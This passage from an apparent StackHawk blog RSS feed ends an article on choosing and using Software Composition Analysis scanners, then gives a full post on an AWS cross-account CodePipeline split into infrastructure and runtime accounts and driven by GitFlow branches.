Docker images as well as other build artifacts. It also benefits from a proprietary database of software vulnerabilities maintained by Snyk research teams.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Sonatype&amp;#39;s Nexus Intelligence emphasizes reducing false positives by providing more precise analysis of build artifacts.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Veracode Software Composition Analysis builds call graphs to help you identify which open source libraries your application actually uses.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;WhiteSource supports over 200 programming languages. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;How to Choose an SCA Solution&lt;/h2&gt;&lt;p&gt;First gather some basic facts about what you need. What languages does your code base use? What tools appear in your CI/CD pipeline? Who at your company wants to see SCA reports—developers? Security? Legal? Compliance? What software security problems do you need it to solve? The answers will help you decide which of these features matter most:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Comprehensive Component Identification&lt;/i&gt; The more third-party components the scanner recognizes the better. How many does it know? How often is the list updated?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Comprehensive Vulnerability Identification&lt;/i&gt; Again, the more the better. Does the scanner rely entirely on public sources such as Mitre for vulnerability data? Some companies supplement public lists with proprietary research.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Integration Capabilities&lt;/i&gt; Where in your software development process do you want the scan to occur? If you want the scans to run automatically, you’ll need to understand how the scanner integrates with your build system.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Speed of Developer Feedback&lt;/i&gt; How quickly can developers find out what the scanner reports? Is the scanner fast enough to run on every build? Can developers see results in their own IDE? Does the scanner generate alerts when new vulnerabilities are found in products that you have not rebuilt recently?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Suitability of Reports&lt;/i&gt; Reporting capabilities vary. Developers may have a hard time reading reports designed for security personnel. Some scanners do more than others to help you understand what the vulnerability is and what parts of your code rely on the vulnerable component.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Policy Enforcement Features&lt;/i&gt; Many scanners let you define flexible, nuanced policies that will block builds containing unacceptable licenses or severe vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;False Positives&lt;/i&gt; SCA scanners generally don’t have as many false positives as DAST scanners, but they do arise. A proof-of-concept exercise using your own code base is the best way to evaluate a scanner’s signal-to-noise ratio.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;SCA Best Practices&lt;/h2&gt;&lt;p&gt;These best practices will help you succeed with any SCA solution:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Security wins when developers do it. Incorporate SCA early in your SDLC. Empower development teams to understand the risks and make responsible decisions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Automate SCA scanning in your CI/CD pipeline. Fail builds that introduce sever vulnerabilities or prohibited licenses. When all high-severity vulnerabilities have been addressed, considering blocking the build for medium-severity vulnerabilities as well.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Consult your Legal department to determine which licenses are not acceptable for your business and set policies in your SCA solution to enforce those decisions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Replace any component that is no longer supported by its maker. Retaining software that will never receive security updates is dangerous.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Ensure developers have a way to suppress scanner findings that investigation shows pose no actual risk in your environment. Review the set of suppressed findings periodically.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Ensure your SCA scanner updates its component and vulnerability data frequently.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Establish a screening process for adopting new third-party components. Ensure the benefit of using a component justifies whatever risk it entails. The process should consider risk indicators such as manufacturer reliability, frequency of updates, vulnerability history, and effort required to patch.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Generate and maintain Software Bills of Materials (SBOMs) to track software composition, manage risks, and respond to vulnerabilities. Automated SBOMs help maintain software security and license compliance across applications.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;More Information&lt;/h2&gt;&lt;p&gt;OWASP—always a great source of information for application security—has an &lt;a href=&quot;https://owasp.org/www-community/Component_Analysis&quot;&gt;article on Component Analysis&lt;/a&gt; that lists more SCA scanners and points to other resources. OWASP also sponsors &lt;a href=&quot;https://docs.dependencytrack.org/odt-odc-comparison/&quot;&gt;two open source projects&lt;/a&gt; of its own aimed at managing risk from third-party components.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Software Composition Analysis is a standard, fundamental part of any secure development lifecycle. A robust CI/CD pipeline should include SCA along with SAST and &lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;DAST&lt;/a&gt; scanners. Finding problems early reduces costs, increases agility, makes software safer, and helps developers learn to incorporate security in their planning and design decisions.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Building an AWS Cross-Account CodePipeline with GitFlow]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/building-an-aws-cross-account-codepipeline-with-gitflow</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[Topher Lamey]]></dc:creator><content:encoded>&lt;p&gt;Though this approach is relatively new and can be cumbersome to pull off, we felt that from a security perspective, it was simply the right thing to do. The alternative is to bypass roles and to have a single account responsible for everything, which is faster but significantly less secure.&lt;/p&gt;&lt;p&gt;To properly implement this, we had to split accounts across infrastructure and deployment concerns, use Serverless Stacks on demand, and develop a CI/CD pipeline based around actions in GitFlow. &lt;/p&gt;&lt;p&gt;This is suggested as a best practice by Amazon, so they have created several articles on the topic including &lt;a href=&quot;https://aws.amazon.com/blogs/devops/aws-building-a-secure-cross-account-continuous-delivery-pipeline/&quot;&gt;how to set up a cross-account pipeline&lt;/a&gt; and &lt;a href=&quot;https://aws.amazon.com/blogs/devops/implementing-gitflow-using-aws-codepipeline-aws-codecommit-aws-codebuild-and-aws-codedeploy/&quot;&gt;how to implement GitFlow using CodePipeline&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Their articles are very informative and addressed most of our needs. However, we chose to take a slightly different approach so we could get more separation in the environment for a smaller blast radius and more control over the promotion of code process.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Developing Accounts&lt;/h3&gt;&lt;p&gt;Rather than the standard DevAccount, ToolsAccount, TestAccount, and ProdAccount identities Amazon uses for cross-account pipelines, we centered our accounts around environments. Each environment has at least two accounts, an InfrastructureAccount and a RuntimeAccount. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;InfrastructureAccount:&lt;/b&gt; The InfrastructureAccount combines the features of the DevAccount and ToolsAccounts Amazon recommends to orchestrate continuous integration and deployment. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;RunTimeAccount:&lt;/b&gt; The RunTimeAccount is similar to the TestAccount and ProdAccount, which is where the target stack actually runs. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;CodePipeline runs the creation and updating of stack resources from the Infrastructure Account, reaching into the Runtime Account to perform work as needed.&lt;/p&gt;&lt;p&gt;We also use the open-source tool &lt;a href=&quot;https://www.terraform.io/&quot;&gt;Terraform&lt;/a&gt; to provision our AWS resources, a shift away from &lt;a href=&quot;https://aws.amazon.com/cloudformation/&quot;&gt;Amazon’s CloudFormation&lt;/a&gt;. It is worth noting, however, that we are using CloudFormation for other actions like &lt;a href=&quot;https://aws.amazon.com/lambda/&quot;&gt;Lambda&lt;/a&gt; deployment. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Cross-Account S3 Access&lt;/h3&gt;&lt;p&gt;Granting permission for cross-account access between moving parts like these can be tricky.  Our build artifacts need cross-account S3 access, which requires a custom KMS key shared between accounts. It’s important to pay close attention to where CodePipeline creates and updates the stack resources in the RuntimeAccount from the InfrastructureAccount.&lt;/p&gt;&lt;p&gt;Amazon recommends permanent and temporary stacks that tie back to GitFlow, which nicely tied into our concept of environments. We deploy our develop branch to our Preprod environment, then master deploy to our Prod environment. &lt;/p&gt;&lt;p&gt;Additionally, we wanted the develop and master branches to automatically build and test each PR, but deploy only on pushes/merges coming in.  We have branch protections in Github so that at least one other person has to approve a given PR, and those checks have to pass before merges can complete.&lt;/p&gt;&lt;p&gt;One issue we ran into with CodePipelines is their level of branch specificity. Simply, CodePipelines don’t have as much branch specificity for their Github webhooks as CodeBuild does. This makes it difficult to differentiate between pull requests vs pushes and merges, so we had to create a CodeBuild for each type with their own webhooks. The CodePipelines are triggered by the push/merge event writing the build artifact to S3. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Closing Thoughts&lt;/h3&gt;&lt;p&gt;Along with dedicated stacks for the Preprod and Prod Environments, we are also able to spin up stacks on demand for things like dev testing, integration testing, etc. Perhaps the most fun part was deleting everything and watching the pipeline rebuild it all again!&lt;/p&gt;&lt;p&gt;Our mix of process and technology allows us to keep Preprod and Prod environments isolated via branches while bootstrapping and managing environments independently and safely.&lt;/p&gt;&lt;p&gt;By splitting up the Infrastructure and Runtime accounts for each Environment and integrating them with GitFlow into our CI pipeline, we have a more isolated and flexible mechanism for getting features to our users!&lt;/p&gt;</content:encoded></item></channel></rss>